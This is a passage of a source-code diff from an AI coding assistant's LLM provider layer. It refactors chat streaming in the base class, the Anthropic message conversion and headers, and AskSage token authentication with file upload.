any).citations); + } + } + } + + private async *openAIAdapterNonStream( + body: ChatCompletionCreateParams, + signal: AbortSignal, + ): AsyncGenerator { + const response = await this.openaiAdapter!.chatCompletionNonStream( + { ...body, stream: false }, + signal, + ); + this.lastRequestId = response.id ?? this.lastRequestId; + const messages = fromChatResponse(response as any); + for (const msg of messages) { + yield msg; + } + } + + private async *responsesStream( + messages: ChatMessage[], + signal: AbortSignal, + options: CompletionOptions, + ): AsyncGenerator { + const g = (this as any)._streamResponses( + messages, + signal, + options, + ) as AsyncGenerator; + for await (const m of g) { + yield m; + } + } + + private async *responsesNonStream( + messages: ChatMessage[], + signal: AbortSignal, + options: CompletionOptions, + ): AsyncGenerator { + const msg = await (this as any)._responses(messages, signal, options); + yield msg as ChatMessage; + } + + // Update the streamChat method: async *streamChat( _messages: ChatMessage[], signal: AbortSignal, options: LLMFullCompletionOptions = {}, messageOptions?: MessageOption, ): AsyncGenerator { + this.lastRequestId = undefined; let { completionOptions, logEnabled } = this._parseCompletionOptions(options); const interaction = logEnabled @@ -1009,9 +1136,12 @@ export abstract class BaseLLM implements ILLM { messages = compiledChatMessages; } + const messagesCopy = [...messages]; // templateMessages may modify messages. + const prompt = this.templateMessages - ? this.templateMessages(messages) - : this._formatChatMessages(messages); + ? this.templateMessages(messagesCopy) + : this._formatChatMessages(messagesCopy); + if (logEnabled) { interaction?.logItem({ kind: "startChat", @@ -1024,9 +1154,14 @@ export abstract class BaseLLM implements ILLM { } } - let thinking = ""; - let completion = ""; + // Performance optimization: Use arrays instead of string concatenation. + // String concatenation in loops creates new string objects for each operation, + // which is O(n²) for n chunks. Arrays with push() are O(1) per operation, + // making the total O(n). We join() only once at the end. + const thinking: string[] = []; + const completion: string[] = []; let usage: Usage | undefined = undefined; + let citations: null | string[] = null; try { if (this.templateMessages) { @@ -1035,7 +1170,7 @@ export abstract class BaseLLM implements ILLM { signal, completionOptions, )) { - completion += chunk; + completion.push(chunk); interaction?.logItem({ kind: "chunk", chunk: chunk, @@ -1044,73 +1179,99 @@ export abstract class BaseLLM implements ILLM { } } else { if (this.shouldUseOpenAIAdapter("streamChat") && this.openaiAdapter) { - let body = toChatBody(messages, completionOptions); + let body = toChatBody(messages, completionOptions, { + includeReasoningField: this.supportsReasoningField, + includeReasoningDetailsField: this.supportsReasoningDetailsField, + }); body = this.modifyChatBody(body); - if (completionOptions.stream === false) { - // Stream false - const response = await this.openaiAdapter.chatCompletionNonStream( - { ...body, stream: false }, - signal, - ); - const msg = fromChatResponse(response); - yield msg; - completion = this._formatChatMessage(msg); + if (logEnabled) { interaction?.logItem({ - kind: "message", - message: msg, + kind: "startChat", + messages, + options: { + ...completionOptions, + requestBody: body, + } as CompletionOptions, + provider: this.providerName, }); - } else { - // Stream true - const stream = this.openaiAdapter.chatCompletionStream( - { - ...body, - stream: true, - }, - signal, - ); - for await (const chunk of stream) { - const result = fromChatCompletionChunk(chunk); - if (result) { - completion += this._formatChatMessage(result); - interaction?.logItem({ - kind: "message", - message: result, - }); - yield result; - } + if (this.llmRequestHook) { + this.llmRequestHook(completionOptions.model, prompt); } } + + const canUseResponses = this.canUseOpenAIResponses(completionOptions); + const useStream = completionOptions.stream !== false; + + let iterable: AsyncIterable; + if (canUseResponses) { + iterable = useStream + ? this.responsesStream(messages, signal, completionOptions) + : this.responsesNonStream(messages, signal, completionOptions); + } else { + iterable = useStream + ? this.openAIAdapterStream(body, signal, (c) => { + if (!citations) { + citations = c; + } + }) + : this.openAIAdapterNonStream(body, signal); + } + + for await (const chunk of iterable) { + const result = this.processChatChunk(chunk, interaction); + completion.push(...result.completion); + thinking.push(...result.thinking); + if (result.usage !== null) { + usage = result.usage; + } + yield result.chunk; + } } else { + if (logEnabled) { + interaction?.logItem({ + kind: "startChat", + messages, + options: completionOptions, + provider: this.providerName, + }); + if (this.llmRequestHook) { + this.llmRequestHook(completionOptions.model, prompt); + } + } + for await (const chunk of this._streamChat( messages, signal, completionOptions, )) { - if (chunk.role === "assistant") { - completion += this._formatChatMessage(chunk); - } else if (chunk.role === "thinking") { - thinking += chunk.content; + const result = this.processChatChunk(chunk, interaction); + completion.push(...result.completion); + thinking.push(...result.thinking); + if (result.usage !== null) { + usage = result.usage; } - - interaction?.logItem({ - kind: "message", - message: chunk, - }); - - if (chunk.role === "assistant" && chunk.usage) { - usage = chunk.usage; - } - - yield chunk; + yield result.chunk; } } } + + if (citations) { + const cits = citations as string[]; + interaction?.logItem({ + kind: "message", + message: { + role: "assistant", + content: `\n\nCitations:\n${cits.map((c: string, i: number) => `${i + 1}: ${c}`).join("\n")}\n\n`, + }, + }); + } + status = this._logEnd( completionOptions.model, prompt, - completion, - thinking, + completion.join(""), + thinking.join(""), interaction, usage, ); @@ -1128,8 +1289,8 @@ export abstract class BaseLLM implements ILLM { status = this._logEnd( completionOptions.model, prompt, - completion, - thinking, + completion.join(""), + thinking.join(""), interaction, usage, e, @@ -1140,7 +1301,7 @@ export abstract class BaseLLM implements ILLM { this._logEnd( completionOptions.model, prompt, - completion, + completion.join(""), undefined, interaction, usage, @@ -1149,20 +1310,20 @@ export abstract class BaseLLM implements ILLM { } } /* - TODO: According to: https://docs.anthropic.com/en/docs/build-with-claude/extended-thinking - During tool use, you must pass thinking and redacted_thinking blocks back to the API, - and you must include the complete unmodified block back to the API. This is critical - for maintaining the model's reasoning flow and conversation integrity. + TODO: According to: https://docs.anthropic.com/en/docs/build-with-claude/extended-thinking + During tool use, you must pass thinking and redacted_thinking blocks back to the API, + and you must include the complete unmodified block back to the API. This is critical + for maintaining the model's reasoning flow and conversation integrity. - On the other hand, adding thinking and redacted_thinking blocks are ignored on subsequent - requests when not using tools, so it's the simplest option to always add to history. - */ + On the other hand, adding thinking and redacted_thinking blocks are ignored on subsequent + requests when not using tools, so it's the simplest option to always add to history. + */ return { modelTitle: this.title ?? completionOptions.model, modelProvider: this.underlyingProviderName, prompt, - completion, + completion: completion.join(""), }; } diff --git a/core/llm/llm-pre-fetch.vitest.ts b/core/llm/llm-pre-fetch.vitest.ts index f6c271870..026b47c5c 100644 --- a/core/llm/llm-pre-fetch.vitest.ts +++ b/core/llm/llm-pre-fetch.vitest.ts @@ -58,6 +58,10 @@ const messagesWithInvalidToolCallArgs: ChatMessage[] = [ describe("LLM Pre-fetch", () => { beforeEach(() => { vi.resetAllMocks(); + // Mock getAnthropicHeaders to return fake headers + vi.mocked(openAiAdapters.getAnthropicHeaders).mockReturnValue({ + fake: "headers", + }); // Log to verify the mock is properly set up console.log("Mock setup:", openAiAdapters); }); diff --git a/core/llm/llms/Anthropic.ts b/core/llm/llms/Anthropic.ts index fdaac3290..ff3f85e51 100644 --- a/core/llm/llms/Anthropic.ts +++ b/core/llm/llms/Anthropic.ts @@ -1,30 +1,36 @@ +import { + Tool as AnthropicTool, + ContentBlockParam, + MessageCreateParams, + MessageParam, + RawContentBlockDeltaEvent, + RawContentBlockStartEvent, + RawMessageDeltaEvent, + RawMessageStartEvent, + RawMessageStreamEvent, + ToolUseBlock, +} from "@anthropic-ai/sdk/resources/messages.mjs"; import { streamSse } from "@continuedev/fetch"; +import { + addCacheControlToLastTwoUserMessages, + getAnthropicErrorMessage, + getAnthropicHeaders, + getAnthropicMediaTypeFromDataUrl, +} from "@continuedev/openai-adapters"; import { ChatMessage, CompletionOptions, LLMOptions, + MessageContent, + Tool, + ToolCallDelta, Usage, } from "../../index.js"; import { safeParseToolCallArgs } from "../../tools/parseArgs.js"; import { renderChatMessage, stripImages } from "../../util/messageContent.js"; +import { DEFAULT_REASONING_TOKENS } from "../constants.js"; import { BaseLLM } from "../index.js"; -const errorMessages = { - invalid_request_error: - "There was an issue with the format or content of your request.", - authentication_error: "There's an issue with your API key.", - permission_error: - "Your API key does not have permission to use the specified resource.", - not_found_error: "The requested resource was not found.", - request_too_large: - "Request exceeds the maximum allowed number of bytes (32 MB limit).", - rate_limit_error: "Your account has hit a rate limit.", - api_error: - "An unexpected error has occurred internal to Anthropic's systems.", - overloaded_error: - "Anthropic's API is temporarily overloaded. Please check their status page: https://status.anthropic.com/#past-incidents", -}; - class Anthropic extends BaseLLM { static providerName = "anthropic"; static defaultOptions: Partial = { @@ -36,8 +42,21 @@ class Anthropic extends BaseLLM { apiBase: "https://api.anthropic.com/v1/", }; - public convertArgs(options: CompletionOptions) { - // should be public for use within VertexAI + private convertToolToAnthropicTool(tool: Tool): AnthropicTool { + return { + name: tool.function.name, + description: tool.function.description, + input_schema: (tool.function.parameters as AnthropicTool.InputSchema) ?? { + // TODO unsafe tool.function.parameters casting + type: "object", + }, + }; + } + + // Public for use within VertexAI + public convertArgs( + options: CompletionOptions, + ): Omit { const finalOptions = { top_k: options.topK, top_p: options.topP, @@ -46,20 +65,17 @@ class Anthropic extends BaseLLM { model: options.model === "claude-2" ? "claude-2.1" : options.model, stop_sequences: options.stop?.filter((x) => x.trim() !== ""), stream: options.stream ?? true, - tools: options.tools?.map((tool) => ({ - name: tool.function.name, - description: tool.function.description, - input_schema: tool.function.parameters, - })), + tools: options.tools?.map(this.convertToolToAnthropicTool), thinking: options.reasoning ? { - type: "enabled", - budget_tokens: options.reasoningBudgetTokens, + type: "enabled" as const, + budget_tokens: + options.reasoningBudgetTokens ?? DEFAULT_REASONING_TOKENS, } : undefined, tool_choice: options.toolChoice ? { - type: "tool", + type: "tool" as const, name: options.toolChoice.function.name, } : undefined, @@ -68,138 +84,162 @@ class Anthropic extends BaseLLM { return finalOptions; } - private buildTextPart(text: string, addCaching: boolean) { - const part: any = { - type: "text", - text, - }; - if (addCaching) { - part.cache_control = { type: "ephemeral" }; + private convertMessageContentToBlocks( + content: MessageContent, + ): ContentBlockParam[] { + const parts: ContentBlockParam[] = []; + if (typeof content === "string") { + if (content) { + parts.push({ + type: "text", + text: content, + }); + } + } else { + for (const part of content) { + if (part.type === "text") { + if (part.text) { + parts.push({ + type: "text", + text: part.text, + }); + } + } else { + parts.push({ + type: "image", + source: { + type: "base64", + media_type: getAnthropicMediaTypeFromDataUrl(part.imageUrl.url), + data: part.imageUrl.url.split(",")[1], + }, + }); + } + } } - return part; + return parts; } - private convertMessage(message: ChatMessage, addCaching: boolean): any { - if (message.role === "tool") { + private convertToolCallsToBlocks( + toolCall: ToolCallDelta, + ): ToolUseBlock | undefined { + const toolCallId = toolCall.id; + const toolName = toolCall.function?.name; + if (toolCallId && toolName) { return { - role: "user", - content: [ + type: "tool_use", + id: toolCallId, + name: toolName, + input: safeParseToolCallArgs(toolCall), + }; + } + } + + private getContentBlocksFromChatMessage( + message: ChatMessage, + ): ContentBlockParam[] { + switch (message.role) { + // One tool message = one tool_result block + case "tool": + return [ { type: "tool_result", tool_use_id: message.toolCallId, content: renderChatMessage(message) || undefined, }, - ], - }; - } else if (message.role === "assistant" && message.toolCalls) { - const parts: any[] = []; - if (message.content) { + ]; + case "user": + return this.convertMessageContentToBlocks(message.content); + case "thinking": + if (message.redactedThinking) { + return [ + { + type: "redacted_thinking", + data: message.redactedThinking, + }, + ]; + } + // Strip thinking that has no signature + const signature = message.signature; + if (!signature) { + return []; + } if (typeof message.content === "string") { - parts.push(this.buildTextPart(message.content, addCaching)); - } else if (message.content.length > 0) { - const textContent = message.content.filter((p) => p.type === "text"); - const textParts = textContent.map((part, idx) => { - const cache = idx === textContent.length - 1 && addCaching; - return this.buildTextPart(part.text, cache); - }); - parts.push(...textParts); + if (!message.content) { + return []; + } + return [ + { + type: "thinking", + thinking: message.content, + signature, + }, + ]; } - } - parts.push( - ...message.toolCalls.map((toolCall) => ({ - type: "tool_use", - id: toolCall.id, - name: toolCall.function?.name, - input: safeParseToolCallArgs(toolCall), - })), - ); - return { - role: "assistant", - content: parts, - }; - } else if (message.role === "thinking" && !message.redactedThinking) { - return { - role: "assistant", - content: [ - { - type: "thinking", - thinking: message.content, - signature: message.signature, - }, - ], - }; - } else if (message.role === "thinking" && message.redactedThinking) { - return { - role: "assistant", - content: [ - { - type: "redacted_thinking", - data: message.redactedThinking, - }, - ], - }; - } - - if (typeof message.content === "string") { - var chatMessage = { - role: message.role, - content: [ - { - type: "text", - text: message.content, - ...(addCaching ? { cache_control: { type: "ephemeral" } } : {}), - }, - ], - }; - return chatMessage; - } - - return { - role: message.role, - content: message.content.map((part, contentIdx) => { - if (part.type === "text") { - const newpart = { - ...part, - // If multiple text parts, only add cache_control to the last one - ...(addCaching && contentIdx === message.content.length - 1 - ? { cache_control: { type: "ephemeral" } } - : {}), - }; - return newpart; + const textParts = message.content + .filter((p) => p.type === "text") + .filter((p) => !!p.text); + return textParts.map((part) => ({ + type: "thinking", + thinking: part.text, + signature, + })); + case "assistant": + const blocks: ContentBlockParam[] = this.convertMessageContentToBlocks( + message.content, + ); + // If any tool calls are present, always put them last + // Loses order vs what was originally sent, but they typically come last + for (const toolCall of message.toolCalls ?? []) { + const block = this.convertToolCallsToBlocks(toolCall); + if (block) { + blocks.push(block); + } } - return { - type: "image", - source: { - type: "base64", - media_type: "image/jpeg", - data: part.imageUrl?.url.split(",")[1], - }, - }; - }), - }; + return blocks; + // system, etc. + default: + return []; + } } - public convertMessages(msgs: ChatMessage[]): any[] { - // should be public for use within VertexAI - const filteredmessages = msgs.filter((m) => m.role !== "system"); - const lastTwoUserMsgIndices = filteredmessages - .map((msg, index) => (msg.role === "user" ? index : -1)) - .filter((index) => index !== -1) - .slice(-2); + public convertMessages( + msgs: ChatMessage[], + cachePrompt: boolean, + ): MessageParam[] { + const nonSystemMessages = msgs.filter((m) => m.role !== "system"); - const messages = filteredmessages.map((message, filteredMsgIdx) => { - // Add cache_control parameter to the last two user messages - // The second-to-last because it retrieves potentially already cached contents, - // The last one because we want it cached for later retrieval. - // See: https://docs.anthropic.com/en/docs/build-with-claude/prompt-caching - const addCaching = - this.cacheBehavior?.cacheConversation && - lastTwoUserMsgIndices.includes(filteredMsgIdx); + const convertedMessages: MessageParam[] = []; + let currentRole: "user" | "assistant" | undefined = undefined; + let currentParts: ContentBlockParam[] = []; - const chatMessage = this.convertMessage(message, !!addCaching); - return chatMessage; - }); - return messages; + const flushCurrentMessage = () => { + if (currentRole && currentParts.length > 0) { + convertedMessages.push({ + role: currentRole, + content: currentParts, + }); + currentParts = []; + } + }; + + for (const message of nonSystemMessages) { + const newRole = + message.role === "user" || message.role === "tool" + ? "user" + : "assistant"; + if (currentRole !== newRole) { + flushCurrentMessage(); + currentRole = newRole; + } + currentParts.push(...this.getContentBlocksFromChatMessage(message)); + } + flushCurrentMessage(); + + if (cachePrompt) { + addCacheControlToLastTwoUserMessages(convertedMessages); + } + + return convertedMessages; } protected async *_streamComplete( @@ -224,12 +264,7 @@ class Anthropic extends BaseLLM { if (!response.ok) { const json = await response.json(); if (json.type === "error") { - if (json.error?.type in errorMessages) { - throw new Error( - errorMessages[json.error.type as keyof typeof errorMessages], - ); - } - throw new Error(json.message); + throw new Error(getAnthropicErrorMessage(json)); } throw new Error( `Anthropic API sent back ${response.status}: ${JSON.stringify(json)}`, @@ -237,17 +272,17 @@ class Anthropic extends BaseLLM { } if (stream === false) { - const data = await response.json(); - const cost = data.usage + const json = await response.json(); + const cost = json.usage ? { - inputTokens: data.usage.input_tokens, - outputTokens: data.usage.output_tokens, - totalTokens: data.usage.input_tokens + data.usage.output_tokens, + inputTokens: json.usage.input_tokens, + outputTokens: json.usage.output_tokens, + totalTokens: json.usage.input_tokens + json.usage.output_tokens, } : {}; yield { role: "assistant", - content: data.content[0].text, + content: json.content[0].text, ...(Object.keys(cost).length > 0 ? { cost } : {}), }; return; @@ -264,51 +299,59 @@ class Anthropic extends BaseLLM { }, }; - for await (const value of streamSse(response)) { + for await (const event of streamSse(response)) { // https://docs.anthropic.com/en/api/messages-streaming#event-types - switch (value.type) { + const rawEvent = event as RawMessageStreamEvent; + switch (event.type) { case "message_start": // Capture initial usage information - usage.promptTokens = value.message.usage.input_tokens; + const startEvent = rawEvent as RawMessageStartEvent; + usage.promptTokens = startEvent.message.usage.input_tokens; usage.promptTokensDetails!.cachedTokens = - value.message.usage.cache_read_input_tokens; + startEvent.message.usage.cache_read_input_tokens ?? undefined; usage.promptTokensDetails!.cacheWriteTokens = - value.message.usage.cache_creation_input_tokens; + startEvent.message.usage.cache_creation_input_tokens ?? undefined; break; case "message_delta": // Update usage information during streaming - if (value.usage) { - usage.completionTokens = value.usage.output_tokens; + const deltaEvent = rawEvent as RawMessageDeltaEvent; + if (deltaEvent.usage) { + usage.completionTokens = deltaEvent.usage.output_tokens; } break; case "content_block_start": - if (value.content_block.type === "tool_use") { - lastToolUseId = value.content_block.id; - lastToolUseName = value.content_block.name; + const blockStartEvent = rawEvent as RawContentBlockStartEvent; + if (blockStartEvent.content_block.type === "tool_use") { + lastToolUseId = blockStartEvent.content_block.id; + lastToolUseName = blockStartEvent.content_block.name; } // handle redacted thinking - if (value.content_block.type === "redacted_thinking") { + if (blockStartEvent.content_block.type === "redacted_thinking") { yield { role: "thinking", content: "", - redactedThinking: value.content_block.data, + redactedThinking: blockStartEvent.content_block.data, }; } break; case "content_block_delta": // https://docs.anthropic.com/en/api/messages-streaming#delta-types - switch (value.delta.type) { + const blockDeltaEvent = rawEvent as RawContentBlockDeltaEvent; + switch (blockDeltaEvent.delta.type) { case "text_delta": - yield { role: "assistant", content: value.delta.text }; + yield { role: "assistant", content: blockDeltaEvent.delta.text }; break; case "thinking_delta": - yield { role: "thinking", content: value.delta.thinking }; + yield { + role: "thinking", + content: blockDeltaEvent.delta.thinking, + }; break; case "signature_delta": yield { role: "thinking", content: "", - signature: value.delta.signature, + signature: blockDeltaEvent.delta.signature, }; break; case "input_json_delta": @@ -324,7 +367,7 @@ class Anthropic extends BaseLLM { type: "function", function: { name: lastToolUseName, - arguments: value.delta.partial_json, + arguments: blockDeltaEvent.delta.partial_json, }, }, ], @@ -365,32 +408,35 @@ class Anthropic extends BaseLLM { const shouldCacheSystemMessage = !!( this.cacheBehavior?.cacheSystemMessage && systemMessage ); + const shouldCachePrompt = !!( + this.cacheBehavior?.cacheConversation || + this.completionOptions.promptCaching + ); + + const msgs = this.convertMessages(messages, shouldCachePrompt); + const headers = getAnthropicHeaders( + this.apiKey, + shouldCacheSystemMessage || shouldCachePrompt, + ); + + const body: MessageCreateParams = { + ...this.convertArgs(options), + messages: msgs, + system: shouldCacheSystemMessage + ? [ + { + type: "text", + text: systemMessage, + cache_control: { type: "ephemeral" }, + }, + ] + : systemMessage, + }; - const msgs = this.convertMessages(messages); const response = await this.fetch(new URL("messages", this.apiBase), { method: "POST", - headers: { - "Content-Type": "application/json", - Accept: "application/json", - "anthropic-version": "2023-06-01", - "x-api-key": this.apiKey as string, - ...(shouldCacheSystemMessage || this.cacheBehavior?.cacheConversation - ? { "anthropic-beta": "prompt-caching-2024-07-31" } - : {}), - }, - body: JSON.stringify({ - ...this.convertArgs(options), - messages: msgs, - system: shouldCacheSystemMessage - ? [ - { - type: "text", - text: systemMessage, - cache_control: { type: "ephemeral" }, - }, - ] - : systemMessage, - }), + headers, + body: JSON.stringify(body), signal, }); diff --git a/core/llm/llms/Asksage.ts b/core/llm/llms/Asksage.ts index 988c57ac6..93d2016c3 100644 --- a/core/llm/llms/Asksage.ts +++ b/core/llm/llms/Asksage.ts @@ -1,3 +1,4 @@ +import FormData from "form-data"; import { ChatMessage, CompletionOptions, @@ -6,48 +7,169 @@ import { } from "../../index.js"; import { BaseLLM } from "../index.js"; +// Extended options for AskSage +interface AskSageCompletionOptions extends CompletionOptions { + mode?: "chat" | "deep_agent"; + limitReferences?: 0 | 1; + persona?: number; + systemPrompt?: string; + askSageTools?: AskSageTool[]; + enabledMcpTools?: string[]; + toolsToExecute?: string[]; + askSageToolChoice?: ToolChoice; + reasoningEffort?: "low" | "medium" | "high"; + deepAgentId?: number; + streaming?: boolean; + file?: unknown; +} + +const DEFAULT_API_URL = "https://api.asksage.ai/server"; +const DEFAULT_USER_API_URL = "https://api.asksage.ai/user"; +const TOKEN_TTL = 3600000; // 1 hour in milliseconds + +interface AskSageTool { + type: string; + function: { + name: string; + description?: string; + parameters?: Record; + }; +} + +type ToolChoice = + | "auto" + | "none" + | { type: "function"; function: { name: string } }; + +interface AskSageRequestArgs { + model?: string; + temperature?: number; + mode?: "chat" | "deep_agent"; + message?: string | { user: string; message: string }[]; + live?: 0 | 1 | 2; + dataset?: string | string[]; + limit_references?: 0 | 1; + persona?: number; + system_prompt?: string; + tools?: AskSageTool[]; + enabled_mcp_tools?: string[]; + tools_to_execute?: string[]; + tool_choice?: ToolChoice; + reasoning_effort?: "low" | "medium" | "high"; + deep_agent_id?: number; + streaming?: boolean; + file?: unknown; +} + +interface AskSageResponse { + text?: string; + answer?: string; + message?: string; + status?: number | string; + response?: unknown; + choices?: Array<{ + message?: { + content?: string; + }; + }>; +} + +interface TokenResponse { + status: number | string; + response: { + access_token: string; + }; +} + class Asksage extends BaseLLM { static providerName = "askSage"; static defaultOptions: Partial = { - apiBase: "https://api.asksage.ai/server/", + apiBase: DEFAULT_API_URL, model: "gpt-4o", }; - private static modelConversion: { [key: string]: string } = { - "gpt-4o-gov": "gpt-4o-gov", // Works - "gpt-4o-mini-gov": "gpt-4o-mini-gov", - "gpt4-gov": "gpt4-gov", // Works - "gpt-gov": "gpt-gov", // Works - "gpt-4o": "gpt-4o", // Works - "gpt-4o-mini": "gpt-4o-mini", // Works - gpt4: "gpt4", // Works - "gpt4-32k": "gpt4-32k", - "gpt-o1": "gpt-o1", // Works - "gpt-o1-mini": "gpt-o1-mini", // Works - "gpt-o3-mini": "gpt-o3-mini", // Stub - "gpt-3.5-turbo": "gpt35-16k", // Works - "aws-bedrock-claude-35-sonnet-gov": "aws-bedrock-claude-35-sonnet-gov", // Works - "claude-3-5-sonnet-latest": "claude-35-sonnet", // Works - "claude-3-opus-20240229": "claude-3-opus", // Works - "claude-3-sonnet-20240229": "claude-3-sonnet", // Works - "grok-beta": "xai-grok", - "groq-llama33": "groq-llama33", - "groq-70b": "groq-70b", - "mistral-large-latest": "mistral-large", // Works - "llama3-70b": "llma3", // Works - "gemini-1.5-pro-latest": "google-gemini-pro", // Works - }; + private sessionTokenPromise: Promise | null = null; + private tokenTimestamp: number = 0; + private email?: string; + private userApiUrl: string; constructor(options: LLMOptions) { super(options); this.apiVersion = options.apiVersion ?? "v1.2.4"; + this.email = process.env.ASKSAGE_EMAIL; + this.userApiUrl = process.env.ASKSAGE_USER_API_URL || DEFAULT_USER_API_URL; } - protected _convertModelName(model: string): string { - console.log("Converting model:", model); - const convertedModel = Asksage.modelConversion[model] ?? model; - console.log("Converted model:", convertedModel); - return convertedModel; + private async getSessionToken(): Promise { + if (!this.apiKey) { + throw new Error( + "AskSage adapter: missing ASKSAGE_API_KEY. Provide it in your environment variables or .env file.", + ); + } + + // If no email, use API key directly + if (!this.email || this.email.length === 0) { + return this.apiKey; + } + + const url = this.userApiUrl.replace(/\/$/, "") + "/get-token-with-api-key"; + const res = await this.fetch(url, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ email: this.email, api_key: this.apiKey }), + }); + + const data = (await res.json()) as TokenResponse; + if (parseInt(String(data.status)) !== 200) { + throw new Error("Error getting access token: " + JSON.stringify(data)); + } + return data.response.access_token; + } + + private async getToken(): Promise { + // Check if token needs refresh + if ( + !this.sessionTokenPromise || + Date.now() - this.tokenTimestamp > TOKEN_TTL + ) { + this.sessionTokenPromise = this.getSessionToken(); + this.tokenTimestamp = Date.now(); + } + return this.sessionTokenPromise; + } + + private isFileLike(val: unknown): boolean { + return ( + val !== null && + val !== undefined && + ((typeof File !== "undefined" && val instanceof File) || + (typeof Buffer !== "undefined" && val instanceof Buffer) || + (typeof val === "object" && + ("path" in val || "name" in val || "type" in val))) + ); + } + + private toFormData(args: AskSageRequestArgs): FormData { + const form = new FormData(); + + for (const [key, value] of Object.entries(args)) { + if (value === undefined || value === null) continue; + + if (key === "file" && value) { + if (Buffer.isBuffer(value)) { + form.append("file", value, "file"); + } else if (typeof value === "string") { + form.append("file", value); + } else { + form.append("file", value as Buffer); + } + } else if (Array.isArray(value) || typeof value === "object") { + form.append(key, JSON.stringify(value)); + } else { + form.append(key, String(value)); + } + } + return form; } protected _convertMessage(message: ChatMessage) { @@ -63,43 +185,63 @@ class Asksage extends BaseLLM { }; } - protected _convertArgs(options: any, messages: ChatMessage[]) { - let formattedMessage: any; + protected _convertArgs( + options: AskSageCompletionOptions, + messages: ChatMessage[], + ): AskSageRequestArgs { + let formattedMessage: string | { user: string; message: string }[]; if (messages.length === 1) { - formattedMessage = messages[0].content; + formattedMessage = messages[0].content as string; } else { formattedMessage = messages.map(this._convertMessage); } - const args: any = { + const args: AskSageRequestArgs = { message: formattedMessage, - persona: options.persona ?? "default", - dataset: options.dataset ?? "none", - limit_references: options.limitReferences ?? 0, + model: options.model, temperature: options.temperature ?? 0.0, - live: options.live ?? 0, - model: this._convertModelName(options.model), + mode: "chat", // Always use chat mode + limit_references: 0, // Always use 0 + persona: options.persona as number | undefined, system_prompt: options.systemPrompt ?? + process.env.ASKSAGE_SYSTEM_PROMPT ?? "You are an expert software developer. You give helpful and concise responses.", - tools: options.tools, - tool_choice: options.toolChoice, + tools: options.askSageTools, + // enabled_mcp_tools: options.enabledMcpTools as string[] | undefined, + // tools_to_execute: options.toolsToExecute as string[] | undefined, + tool_choice: options.askSageToolChoice, + reasoning_effort: options.reasoningEffort as + | "low" + | "medium" + | "high" + | undefined, + deep_agent_id: options.deepAgentId as number | undefined, + streaming: options.streaming as boolean | undefined, + file: options.file, }; + // Remove undefined values Object.keys(args).forEach( - (key) => args[key] === undefined && delete args[key], + (key) => + args[key as keyof AskSageRequestArgs] === undefined && + delete args[key as keyof AskSageRequestArgs], ); return args; } - protected _getHeaders() { + protected async _getHeaders( + hasFile: boolean = false, + ): Promise> { + const token = await this.getToken(); const headers: Record = { - "Content-Type": "application/json", + accept: "application/json", + "x-access-tokens": token, }; - if (this.apiKey) { - headers["x-access-tokens"] = this.apiKey; + if (!hasFile) { + headers["Content-Type"] = "application/json"; } return headers; @@ -125,21 +267,66 @@ class Asksage extends BaseLLM { } const messages: ChatMessage[] = [{ role: "user", content: prompt }]; - const args = this._convertArgs(options, messages); + const hasFile = this.isFileLike(args.file); + const endpoint = hasFile ? "query_with_file" : "query"; - const response = await this.fetch(this._getEndpoint("query"), { - method: "POST", - headers: this._getHeaders(), - body: JSON.stringify(args), - }); + try { + let response; + if (hasFile) { + const form = this.toFormData(args); + const headers = await this._getHeaders(true); + response = await this.fetch(this._getEndpoint(endpoint), { + method: "POST", + headers: { + ...headers, + ...form.getHeaders(), + }, + body: form as unknown as BodyInit, + signal, + }); + } else { + const headers = await this._getHeaders(false); + response = await this.fetch(this._getEndpoint(endpoint), { + method: "POST", + headers, + body: JSON.stringify(args), + signal, + }); + } - if (response.status === 499) { - return ""; // Aborted by user + if (response.status === 499) { + return ""; // Aborted by user + } + + if (!response.ok) { + const errText = await response.text(); + + // Clear token cache on 401 + if (response.status === 401) { + this.sessionTokenPromise = null; + this.tokenTimestamp = 0; + } + + throw new Error( + `AskSage API error: ${response.status} ${response.statusText}: ${errText}`, + ); + } + + const data = (await response.json()) as AskSageResponse; + return ( + data.text || + data.answer || + data.message || + data.choices?.[0]?.message?.content || + "" + ); + } catch (error) { + if (error instanceof Error) { + throw new Error(`AskSage client error: ${error.message}`); + } + throw error; } - - const data = await response.json(); - return data.message; } protected async *_streamComplete( @@ -157,30 +344,74 @@ class Asksage extends BaseLLM { options: CompletionOptions, ): AsyncGenerator { const args = this._convertArgs(options, messages); + const hasFile = this.isFileLike(args.file); + const endpoint = hasFile ? "query_with_file" : "query"; - const response = await this.fetch(this._getEndpoint("query"), { - method: "POST", - headers: this._getHeaders(), - body: JSON.stringify(args), - signal, - }); + try { + let response; + if (hasFile) { + const form = this.toFormData(args); + const headers = await this._getHeaders(true); + response = await this.fetch(this._getEndpoint(endpoint), { + method: "POST", + headers: { + ...headers, + ...form.getHeaders(), + }, + body: form as unknown as BodyInit, + signal, + }); + } else { + const headers = await this._getHeaders(false); + response = await this.fetch(this._getEndpoint(endpoint), { + method: "POST", + headers, + body: JSON.stringify(args), + signal, + }); + } - if (response.status === 499) { - return; // Aborted by user + if (response.status === 499) { + return; // Aborted by user + } + + if (!response.ok) { + const errText = await response.text(); + + // Clear token cache on 401 + if (response.status === 401) { + this.sessionTokenPromise = null; + this.tokenTimestamp = 0; + } + + throw new Error( + `AskSage API error: ${response.status} ${response.statusText}: ${errText}`, + ); + } + + const data = (await response.json()) as AskSageResponse; + + const assistantMessage: ChatMessage = { + role: "assistant", + content: + data.text || + data.answer || + data.message || + data.choices?.[0]?.message?.content || + "", + }; + + yield assistantMessage; + } catch (error) { + if (error instanceof Error) { + throw new Error(`AskSage client error: ${error.message}`); + } + throw error; } - - const data = await response.json(); - - const assistantMessage: ChatMessage = { - role: "assistant", - content: data.message, - }; - - yield assistantMessage; } async listModels(): Promise { - return Object.keys(Asksage.modelConversion); + return []; } } diff --git a/core/llm/llms/Bedrock.ts b/core/llm/llms/Bedrock.ts index 893932f03..ea47b63ae 100644 --- a/core/llm/llms/Bedrock.ts +++ b/core/llm/llms/Bedrock.ts @@ -1,13 +1,19 @@ import { BedrockRuntimeClient, ContentBlock, + ContentBlockDelta, + ContentBlockStart, + ContentBlockStartEvent, ConversationRole, ConverseStreamCommand, ConverseStreamCommandOutput, ImageFormat, InvokeModelCommand, Message, + ReasoningContentBlockDelta, ToolConfiguration, + ToolUseBlock, + ToolUseBlockDelta, } from "@aws-sdk/client-bedrock-runtime"; import { fromNodeProviderChain } from "@aws-sdk/credential-providers"; @@ -25,15 +31,6 @@ interface ModelConfig { extractEmbeddings: (responseBody: any) => 